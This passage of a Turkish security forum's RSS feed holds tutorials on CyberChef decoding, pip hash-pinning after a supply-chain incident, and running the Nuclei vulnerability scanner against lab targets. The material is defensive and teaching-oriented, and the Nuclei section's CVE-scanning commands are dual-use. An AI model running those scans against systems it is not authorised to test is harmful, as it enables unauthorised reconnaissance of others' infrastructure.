<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Derin baglanti ornegi (URL hash)
# https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&amp;input=SGVsbG8=</code></div></div>Hassas müşteri verisini genel instance'a yapıştırmayın; Docker ile yerel kopya kullanın. CyberChef bir çözümleyici değildir; çıktıyı her zaman bağlamıyla doğrulayın.<br />
<br />
En sık kullandığınız CyberChef tarifi nedir? URL'sini (hassas veri olmadan) paylaşın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://github.com/gchq/CyberChef" target="_blank" rel="noopener" class="mycode_url">https://github.com/gchq/CyberChef</a><br />
</li>
<li><a href="https://raw.githubusercontent.com/gchq/CyberChef/master/README.md" target="_blank" rel="noopener" class="mycode_url">https://raw.githubusercontent.com/gchq/C.../README.md</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=356" target="_blank" title="">15-b05-cyberchef.png</a> (Dosya Boyutu: 108.65 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=356" loading="lazy"  alt="[Resim: attachment.php?aid=356]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
Base64, hex, gzip, XOR, JWT parçalama, timestamp çevirme... SOC analisti veya CTF oyuncusu bu işlemleri günde onlarca kez yapar. GCHQ'nun açık kaynak aracı <span style="font-weight: bold;" class="mycode_b">CyberChef</span> bunları sürükle-bırak bir "tarif" (recipe) olarak tarayıcıda birleştirmenizi sağlar. Önemli güvenlik özelliği: işlemlerin hiçbiri CyberChef sunucusuna gitmez; her şey sizin tarayıcınızda, sizin bilgisayarınızda çalışır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Arayüzün dört ana alanı<br />
</li>
<li>Yerel kurulum: Docker ile<br />
</li>
<li>İlk tarifler: Base64, hex+gzip, Magic<br />
</li>
<li>SOC / CTF kullanım senaryoları<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Arayüz</span></span><br />
README'ye göre dört ana alan:<br />
<ol type="1" class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Input</span> (sağ üst): metin veya dosya<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Output</span> (sağ alt): sonuç<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Operations</span> (sol): kategorili işlem listesi / arama<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Recipe</span> (orta): sürüklediğiniz işlemler ve parametreleri<br />
</li>
</ol>
Auto Bake açıksa input veya tarif değişince çıktı hemen üretilir. Breakpoint koyup adım adım ilerleyebilir, tarifleri yerel depolamaya kaydedebilir, URL hash ile paylaşabilirsiniz (#recipe=...&amp;input=...).<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yerel kurulum (Docker)</span></span><br />
Hassas veriyi genel web sitesine yapıştırmak istemiyorsanız yerelde çalıştırın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Onceden derlenmis imaj
docker run --rm -it -p 8080:8080 ghcr.io/gchq/cyberchef:latest
# Tarayicida: http://localhost:8080</code></div></div>Kaynaktan build için Node.js v24 gerekir; Docker yolu toolchain istemez. README, CyberChef'in tamamen istemci tarafında çalıştığını ve tam bir kopyasının indirilip kapalı ağda / VM'de kullanılabileceğini özellikle vurgular.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk tarifler</span></span><ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">From Base64:</span> Operations'tan sürükleyin, input'a kodlanmış metni yapıştırın.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">From Hex -&gt; Gunzip:</span> Hexdump'lanmış sıkıştırılmış veriyi açmak için iki işlemli tarif.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Magic:</span> CyberChef, verinin hangi kodlamalar altında olabileceğini otomatik tahmin etmeye çalışır; Output'taki sihir ikonuna tıklayınca uygun işlemi önerir.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">SOC / CTF senaryoları</span></span><ul class="mycode_list"><li>Oltalama ekindeki PowerShell'in -EncodedCommand parametresini UTF-16LE Base64'ten çözmek<br />
</li>
<li>DNS veya HTTP üzerinden exfil edilen hex parçalarını birleştirip Gunzip etmek<br />
</li>
<li>JWT'nin header/payload kısmını (imza doğrulaması olmadan) okumak - yalnızca inceleme<br />
</li>
<li>Timestamp yığınını insan okur tarihe çevirmek<br />
</li>
<li>Basit XOR / tekrarlayan anahtar denemeleri (CTF crypto)<br />
</li>
</ul>
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Derin baglanti ornegi (URL hash)
# https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&amp;input=SGVsbG8=</code></div></div>Hassas müşteri verisini genel instance'a yapıştırmayın; Docker ile yerel kopya kullanın. CyberChef bir çözümleyici değildir; çıktıyı her zaman bağlamıyla doğrulayın.<br />
<br />
En sık kullandığınız CyberChef tarifi nedir? URL'sini (hassas veri olmadan) paylaşın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://github.com/gchq/CyberChef" target="_blank" rel="noopener" class="mycode_url">https://github.com/gchq/CyberChef</a><br />
</li>
<li><a href="https://raw.githubusercontent.com/gchq/CyberChef/master/README.md" target="_blank" rel="noopener" class="mycode_url">https://raw.githubusercontent.com/gchq/C.../README.md</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=356" target="_blank" title="">15-b05-cyberchef.png</a> (Dosya Boyutu: 108.65 KB / İndirme Sayısı: 9)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[pip --require-hashes: LiteLLM Sonrası Python Tedarik Zincirini Sabitlemek]]></title>
			<link>https://www.turkteam.org/konu-pip-require-hashes-litellm-sonrasi-python-tedarik-zincirini-sabitlemek.html</link>
			<pubDate>Thu, 22 Oct 2026 11:26:31 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=3">BilgeKagan</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-pip-require-hashes-litellm-sonrasi-python-tedarik-zincirini-sabitlemek.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=349" loading="lazy"  alt="[Resim: attachment.php?aid=349]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
LiteLLM 1.107.0 olayından sonra birçok ekip aynı soruyu soruyor: "pip install litellm" gibi yüzen sürümler üretimde nasıl kilitlenir? Cevabın büyük kısmı pip'in resmi <span style="font-weight: bold;" class="mycode_b">Secure installs</span> rehberinde: hash-checking mode ve yalnızca ikili paket (binary) kurulum. Bu yazıda kendi labınızda adım adım uygulayabileceğiniz bir sabitleme düzeni kuruyoruz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Hash-checking mode ne yapar, ne yapmaz?<br />
</li>
<li>Gereksinim dosyasına hash nasıl eklenir?<br />
</li>
<li>--only-binary :all: ile kaynak dağıtımları kapatmak<br />
</li>
<li>Sık yapılan hatalar<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Hash-checking mode</span></span><br />
pip varsayılan olarak uzak müdahaleye karşı kontrol yapmaz ve dağıtımdaki kodu çalıştırır. Hash-checking mode açıldığında requirements.txt içine gömdüğünüz yerel hash'ler hem uzaktan oynama hem ağ sorunlarına karşı koruma sağlar. pip belgelerine göre bu bir "hepsi ya da hiç" düzenidir: herhangi bir gereksinime --hash eklemek modu global olarak etkinleştirir.<br />
<br />
Ek kısıtlar:<ul class="mycode_list"><li>Tüm gereksinimlerin hash'i olmalı (kısmi hashed dosya, hash'siz bir bağımlılıktan kötü kod sokulmasına izin verir).<br />
</li>
<li>Tüm bağımlılıkların da hash'i olmalı.<br />
</li>
<li>Gereksinimler sabitlenmeli (==, URL veya dosya yolu); aksi halde yeni bir sürüm yayınlandığında hash uyuşmazlığı sürprizi yaşarsınız.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab: hash'li requirements üretmek</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Temiz bir venv
python3 -m venv /tmp/secpip &amp;&amp; source /tmp/secpip/bin/activate
python -m pip install -U pip
# Once surumleri sabitle
cat &gt; /tmp/reqs.in &lt;&lt;'E'
requests==2.32.3
urllib3==2.2.3
certifi==2026.10.19
E
# Hash'leri bootstrap etmek icin --require-hashes ile deneme;
# pip, indirdigi paketlerin hash'ini gosterir
python -m pip download -r /tmp/reqs.in -d /tmp/wheels
python -m pip hash /tmp/wheels/*.whl</code></div></div><br />
Elde ettiğiniz hash'leri requirements.txt'ye şöyle yazarsınız:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>requests==2.32.3 &#92;
  --hash=sha256:&lt;requests_hash&gt;
urllib3==2.2.3 &#92;
  --hash=sha256:&lt;urllib3_hash&gt;
certifi==2026.10.19 &#92;
  --hash=sha256:&lt;certifi_hash&gt;</code></div></div>Kurulum:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>python -m pip install --require-hashes --only-binary :all: -r requirements.txt</code></div></div>--require-hashes, hash'siz bir requirements dosyasını deploy betiklerinde reddetmek için de kullanılır. --only-binary :all: kaynak dağıtımlarını (sdist) kapatır; saldırganın build sırasında kod enjekte etmesi daha zorlaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">LiteLLM bağlamı</span></span><br />
LiteLLM olayında zararlı, wheel içindeki .data/purelib/ yoluyla site-packages'e düşmüştü. Hash sabitleme, <span style="font-weight: bold;" class="mycode_b">beklediğiniz wheel'in bayt-bayt aynısı</span> gelmesini sağlar; farklı bir wheel aynı sürüm numarasıyla gelse bile hash uyuşmazlığı kurulumunu durdurur. "latest" Docker etiketinden kaçınmak da aynı disiplinin konteyner karşılığıdır: imajı digest ile çekin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık hatalar</span></span><ul class="mycode_list"><li>Yalnızca üst düzey paketi sabitleyip bağımlılıkları açık bırakmak<br />
</li>
<li>python setup.py install / easy_install kullanmak (pip'in kontrollerini baypas eder)<br />
</li>
<li>Hash'i PyPI URL fragment'ındaki uzak hash'e güvenmek; pip bunu indirme bütünlüğü için kullanır ama yerel --require-hashes talebini karşılamaz<br />
</li>
<li>Geliştirme ortamında hash kullanıp CI/CD'de unutmak<br />
</li>
</ul>
<br />
Sizin CI pipeline'ınızda --require-hashes var mı? Yoksa engel nedir?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://pip.pypa.io/en/stable/topics/secure-installs/" target="_blank" rel="noopener" class="mycode_url">https://pip.pypa.io/en/stable/topics/secure-installs/</a><br />
</li>
<li><a href="https://docs.litellm.ai/blog/security-incident-oct-21-2026" target="_blank" rel="noopener" class="mycode_url">https://docs.litellm.ai/blog/security-in...ct-21-2026</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=349" target="_blank" title="">11-b01-pip-hash.png</a> (Dosya Boyutu: 115.73 KB / İndirme Sayısı: 4)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=349" loading="lazy"  alt="[Resim: attachment.php?aid=349]" class="mycode_img" /></div>
<br />
Selamlar,<br />
<br />
LiteLLM 1.107.0 olayından sonra birçok ekip aynı soruyu soruyor: "pip install litellm" gibi yüzen sürümler üretimde nasıl kilitlenir? Cevabın büyük kısmı pip'in resmi <span style="font-weight: bold;" class="mycode_b">Secure installs</span> rehberinde: hash-checking mode ve yalnızca ikili paket (binary) kurulum. Bu yazıda kendi labınızda adım adım uygulayabileceğiniz bir sabitleme düzeni kuruyoruz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>Hash-checking mode ne yapar, ne yapmaz?<br />
</li>
<li>Gereksinim dosyasına hash nasıl eklenir?<br />
</li>
<li>--only-binary :all: ile kaynak dağıtımları kapatmak<br />
</li>
<li>Sık yapılan hatalar<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Hash-checking mode</span></span><br />
pip varsayılan olarak uzak müdahaleye karşı kontrol yapmaz ve dağıtımdaki kodu çalıştırır. Hash-checking mode açıldığında requirements.txt içine gömdüğünüz yerel hash'ler hem uzaktan oynama hem ağ sorunlarına karşı koruma sağlar. pip belgelerine göre bu bir "hepsi ya da hiç" düzenidir: herhangi bir gereksinime --hash eklemek modu global olarak etkinleştirir.<br />
<br />
Ek kısıtlar:<ul class="mycode_list"><li>Tüm gereksinimlerin hash'i olmalı (kısmi hashed dosya, hash'siz bir bağımlılıktan kötü kod sokulmasına izin verir).<br />
</li>
<li>Tüm bağımlılıkların da hash'i olmalı.<br />
</li>
<li>Gereksinimler sabitlenmeli (==, URL veya dosya yolu); aksi halde yeni bir sürüm yayınlandığında hash uyuşmazlığı sürprizi yaşarsınız.<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab: hash'li requirements üretmek</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Temiz bir venv
python3 -m venv /tmp/secpip &amp;&amp; source /tmp/secpip/bin/activate
python -m pip install -U pip
# Once surumleri sabitle
cat &gt; /tmp/reqs.in &lt;&lt;'E'
requests==2.32.3
urllib3==2.2.3
certifi==2026.10.19
E
# Hash'leri bootstrap etmek icin --require-hashes ile deneme;
# pip, indirdigi paketlerin hash'ini gosterir
python -m pip download -r /tmp/reqs.in -d /tmp/wheels
python -m pip hash /tmp/wheels/*.whl</code></div></div><br />
Elde ettiğiniz hash'leri requirements.txt'ye şöyle yazarsınız:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>requests==2.32.3 &#92;
  --hash=sha256:&lt;requests_hash&gt;
urllib3==2.2.3 &#92;
  --hash=sha256:&lt;urllib3_hash&gt;
certifi==2026.10.19 &#92;
  --hash=sha256:&lt;certifi_hash&gt;</code></div></div>Kurulum:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>python -m pip install --require-hashes --only-binary :all: -r requirements.txt</code></div></div>--require-hashes, hash'siz bir requirements dosyasını deploy betiklerinde reddetmek için de kullanılır. --only-binary :all: kaynak dağıtımlarını (sdist) kapatır; saldırganın build sırasında kod enjekte etmesi daha zorlaşır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">LiteLLM bağlamı</span></span><br />
LiteLLM olayında zararlı, wheel içindeki .data/purelib/ yoluyla site-packages'e düşmüştü. Hash sabitleme, <span style="font-weight: bold;" class="mycode_b">beklediğiniz wheel'in bayt-bayt aynısı</span> gelmesini sağlar; farklı bir wheel aynı sürüm numarasıyla gelse bile hash uyuşmazlığı kurulumunu durdurur. "latest" Docker etiketinden kaçınmak da aynı disiplinin konteyner karşılığıdır: imajı digest ile çekin.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık hatalar</span></span><ul class="mycode_list"><li>Yalnızca üst düzey paketi sabitleyip bağımlılıkları açık bırakmak<br />
</li>
<li>python setup.py install / easy_install kullanmak (pip'in kontrollerini baypas eder)<br />
</li>
<li>Hash'i PyPI URL fragment'ındaki uzak hash'e güvenmek; pip bunu indirme bütünlüğü için kullanır ama yerel --require-hashes talebini karşılamaz<br />
</li>
<li>Geliştirme ortamında hash kullanıp CI/CD'de unutmak<br />
</li>
</ul>
<br />
Sizin CI pipeline'ınızda --require-hashes var mı? Yoksa engel nedir?<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Bu yazı bilgilendirme ve savunma amaçlıdır. Anlatılan kontrolleri yalnızca kendi sistemlerinizde veya yazılı izinle yapın. İzinsiz erişim, tarama ve sömürü girişimleri TCK 243-245 kapsamında suçtur. TurkTeam white-hat bir topluluktur; çalıntı veri, hesap, combo/log paylaşımı ve hack hizmeti talepleri forum kurallarına aykırıdır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://pip.pypa.io/en/stable/topics/secure-installs/" target="_blank" rel="noopener" class="mycode_url">https://pip.pypa.io/en/stable/topics/secure-installs/</a><br />
</li>
<li><a href="https://docs.litellm.ai/blog/security-incident-oct-21-2026" target="_blank" rel="noopener" class="mycode_url">https://docs.litellm.ai/blog/security-in...ct-21-2026</a><br />
</li>
</ul>
<br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=349" target="_blank" title="">11-b01-pip-hash.png</a> (Dosya Boyutu: 115.73 KB / İndirme Sayısı: 4)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Nuclei ile Şablon Tabanlı Zafiyet Tarama: İzinli Labda İlk Çalıştırma]]></title>
			<link>https://www.turkteam.org/konu-nuclei-ile-sablon-tabanli-zafiyet-tarama-izinli-labda-ilk-calistirma.html</link>
			<pubDate>Wed, 21 Oct 2026 11:24:56 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=3">BilgeKagan</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-nuclei-ile-sablon-tabanli-zafiyet-tarama-izinli-labda-ilk-calistirma.html</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=328" loading="lazy"  alt="[Resim: attachment.php?aid=328]" class="mycode_img" /></div>
<br />
Selam,<br />
<br />
Nuclei, ProjectDiscovery'nin şablon tabanlı tarayıcısı. CVE, misconfig, exposure... YAML şablonlarla hızlı ve tekrarlanabilir. Bu yazıda resmi dokümantasyona dayanarak izinli labda ilk koşumu, filtreleri ve rate-limit'i anlatıyorum. İnternette rastgele tarama yok.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kurulum (özet)</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Go kurulu ortamda
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -version
nuclei -update-templates</code></div></div><br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlk koşular</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Tek hedef (kendi labınız)
nuclei -u https://dvwa.lab.local
# Liste
nuclei -l targets.txt -severity critical,high -o findings.txt
# Belirli dizin / etiket
nuclei -u https://juice.lab.local -t http/cves/ -tags cve</code></div></div><br />
Varsayılan şablonların bir kısmı .nuclei-ignore ile kapalıdır; headless/fuzz/code şablonları ilgili bayrak olmadan çalışmaz. Bu, yanlışlıkla agresif taramayı azaltır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Filtreler</span></span><ul class="mycode_list"><li>-tags cve<br />
</li>
<li>-severity critical,high<br />
</li>
<li>-author ...<br />
</li>
<li>-tc ile DSL koşulları (ör. contains(tags,'ssrf'))<br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Hız ve nezaket</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>nuclei -l targets.txt -rate-limit 50 -c 10 -bulk-size 10 -H "X-BugBounty: lab-test"</code></div></div>rate-limit global tavanı belirler. Bug bounty'de programın trafik tanımlama başlığını ekleyin. Interactsh OAST şablonları için -ni ile kapatabilirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">CI notu</span></span><br />
Şablonları pin'leyin; her pipeline'da "latest" çekmek sürpriz üretir. Sonuçları JSONL/SARIF export edip issue tracker'a bağlayabilirsiniz (-rc). Passive modda kaydedilmiş HTTP yanıtları üzerinde de koşu mümkün.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal uyarı</span></span><br />
Yalnızca yazılı izinli kapsam. TCK 243-245. Nuclei bir otomasyon silahıdır; kapsam dışına çıkmayın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynaklar</span></span><ul class="mycode_list"><li><a href="https://docs.projectdiscovery.io/opensource/nuclei/running" target="_blank" rel="noopener" class="mycode_url">https://docs.projectdiscovery.io/opensou...ei/running</a><br />
</li>
<li><a href="https://github.com/projectdiscovery/nuclei-templates" target="_blank" rel="noopener" class="mycode_url">https://github.com/projectdiscovery/nuclei-templates</a><br />
</li>
</ul>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Şablon yazma notu</span></span><br />
Kendi iç ürününüz için küçük bir HTTP matcher şablonu yazmak, genel CVE şablonundan daha değerlidir. id, info.severity, matchers-condition alanlarını temiz tutun; false positive'i labda eleyin. İmzasız şablon politikasını (-dut) bilinçli seçin.<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Uygulamada sık gördüğüm hatalar</span></span><br />
Birçok ekip yamayı "planlandı" diye işaretleyip internete açık yüzeyde günlerce bekletiyor. İkinci sık hata: yalnızca CVE numarasına bakıp zincir etkisini görmemek. Üçüncü hata: yama sonrası log ve dosya bütünlüğüne bakmamak; oysa yama öncesi sömürü olmuş olabilir. Bu üç noktayı kendi kontrol listenize eklemenizi öneririm.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ekip içi iletişim şablonu</span></span><br />
Yönetime veya müşteriye yazarken teknik jargonu azaltın: hangi varlık etkilendi, internete açık mı, yama var mı, geçici azaltma ne, doğrulama nasıl yapılacak. Tek paragrafta risk + eylem + sahiplik yazmak, uzun CVE özetinden daha hızlı karar aldırır.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Lab not defteri</span></span><br />
Bu konuyu kendi defterime şu başlıklarla işliyorum: tarih, kaynak URL, etkilenen ürün/sürüm, internete açık mı, yama komutu, geri alma planı, IOC listesi, kime haber verildi. Siz de benzer basit bir şablon tutarsanız bir ay sonra "ne yapmıştık?" sorusu cevapsız kalmaz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İzleme ve doğrulama</span></span><br />
Değişiklikten sonra en az bir negatif ve bir pozitif kontrol tanımlayın. Negatif: alarm boş yere düşmemeli. Pozitif: bilinen kötü örneği veya beklenen log satırını yakalamalı. İkisini de kaydedin; aksi halde "sanırım düzeldi" ile yetinirsiniz.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
Özetle: kaynağı okuyun, kendi envanterinize bağlayın, yama veya azaltmayı uygulayın, sonra doğrulayın. TurkTeam'de yorumlarda kendi ortamınızdan (ürün adı ve sürüm yeter, hassas IP yazmayın) kısa deneyim paylaşırsanız herkes faydalanır.<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Adım adım kontrol listesi (kopyala-yapıştır)</span></span><br />
<ol type="1" class="mycode_list"><li>Kaynak duyuruyu ve varsa üretici güvenlik sayfasını arşivleyin (PDF/HTML).<br />
</li>
<li>Envanterde etkilenen ürün var mı diye CMDB / agent raporu / netscan ile bakın.<br />
</li>
<li>İnternete açık mı, yoksa yalnızca iç ağda mı? Buna göre SLA seçin.<br />
</li>
<li>Yama veya yapılandırma azaltmasını stagingde deneyin.<br />
</li>
<li>Üretim penceresinde uygulayın; değişiklik kaydı açın.<br />
</li>
<li>Servis sağlık kontrolü + log doğrulaması yapın.<br />
</li>
<li>Gerekliyse IOC avı veya compromise assessment planlayın.<br />
</li>
<li>Kapanış notunu yazın: sürüm, tarih, kim onayladı.<br />
</li>
</ol>
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sık sorulanlar</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Sadece okumak yeter mi?</span> Hayır. Okuduktan sonra envanter satırına bağlanmayan bilgi operasyonel değildir.<br />
<span style="font-weight: bold;" class="mycode_b">PoC çalıştırmalı mıyım?</span> Yalnızca izole lab ve yazılı izinle. İnternette rastgele deneme hem etik dışı hem yasadışı olabilir.<br />
<span style="font-weight: bold;" class="mycode_b">WAF / EDR tek başına kurtarır mı?</span> Katmanlı savunma işe yarar ama yamanın yerini tutmaz; özellikle kimlik doğrulamasız RCE sınıflarında.<br />
<span style="font-weight: bold;" class="mycode_b">Ne zaman yönetime çıkmalıyım?</span> İnternete açık kritik yüzey, aktif sömürü istihbaratı veya veri sızıntısı şüphesi varsa gecikmeden.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Örnek komut defteri</span></span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code># Tarih damgası ve ortam notu
date -Is
hostnamectl 2&gt;/dev/null | head -5 || true
# Ağ dinleme özeti (lab)
ss -lntp | head -30
# Son reboot / güncelleme ipucu (systemd)
who -b 2&gt;/dev/null || true</code></div></div>Bu komutlar tanı koymaz; değişiklik öncesi/sonrası basline almak için kullanın.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">İlgili TurkTeam bölümleri</span></span><br />
Bu yazıyı okuduktan sonra aynı kategorideki komşu konulara ve Soru-Cevap bölümüne kendi lab çıktınızı (hassas veri olmadan) taşıyabilirsiniz. Kısa ekran görüntüsü veya komut çıktısı, uzun teoriden daha çok işe yarar.<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kapanış ve yasal çerçeve</span></span><br />
